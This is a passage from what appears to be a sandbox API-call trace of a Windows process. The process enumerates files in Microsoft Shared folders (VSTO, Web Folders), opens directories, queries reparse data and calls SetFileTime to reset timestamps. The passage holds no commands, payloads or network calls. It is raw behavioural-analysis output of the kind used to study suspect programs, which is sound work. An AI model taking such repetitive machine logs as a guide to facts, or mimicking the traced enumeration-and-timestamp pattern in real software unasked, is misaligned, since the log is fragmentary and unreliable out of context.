lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="")) returned 1 [0055.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.438] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.438] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.438] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.438] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 1 [0055.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.438] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.438] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee39e8 [0055.438] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee39e8) returned 1 [0055.438] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 0 [0055.438] GetLastError () returned 0x12 [0055.438] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae718, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae718) returned 0x459cb8 [0055.439] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.439] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x617be070, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.439] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="")) returned 1 [0055.439] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 1 [0055.439] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="")) returned 0 [0055.439] GetLastError () returned 0x12 [0055.439] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3960) returned 1 [0055.439] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.439] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0055.439] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.439] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="")) returned 1 [0055.439] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="")) returned 1 [0055.439] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="")) returned 1 [0055.439] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 1 [0055.439] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="")) returned 0 [0055.439] GetLastError () returned 0x12 [0055.439] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.439] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.439] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06508) returned 1 [0055.439] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.439] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x300000, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0055.440] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3f50, dwReserved0=0x300000, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="")) returned 1 [0055.440] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x300000, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0055.440] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x300000, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0055.440] GetLastError () returned 0x12 [0055.440] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.440] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.440] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef160) returned 1 [0055.440] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.440] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="")) returned 1 [0055.440] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.440] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.441] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.441] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.441] NtClose (Handle=0x174) returned 0x0 [0055.441] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.441] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.441] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c78 [0055.442] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.442] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0055.442] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0055.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.442] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.442] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0055.442] GetLastError () returned 0x12 [0055.442] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0055.442] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.442] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.442] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0055.442] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.442] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033"), fInfoLevelId=0x0, lpFileInformation=0x17aeb84 | out: lpFileInformation=0x17aeb84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0055.443] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x17aebc8, lpLastWriteTime=0x17aebc8) returned 0 [0055.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.443] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aec20, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17aec20, lpOverlapped=0x0) returned 0 [0055.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.443] NtClose (Handle=0x174) returned 0x0 [0055.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef160 [0055.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06508 [0055.443] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0055.443] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.443] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0055.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.443] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.443] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.444] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.444] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0055.444] GetLastError () returned 0x12 [0055.444] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cb8 [0055.444] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.444] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.444] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0055.444] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0055.444] GetLastError () returned 0x12 [0055.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf06508) returned 1 [0055.444] FindClose (in: hFindFile=0x459cb8 | out: hFindFile=0x459cb8) returned 1 [0055.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.444] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef160) returned 1 [0055.444] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, 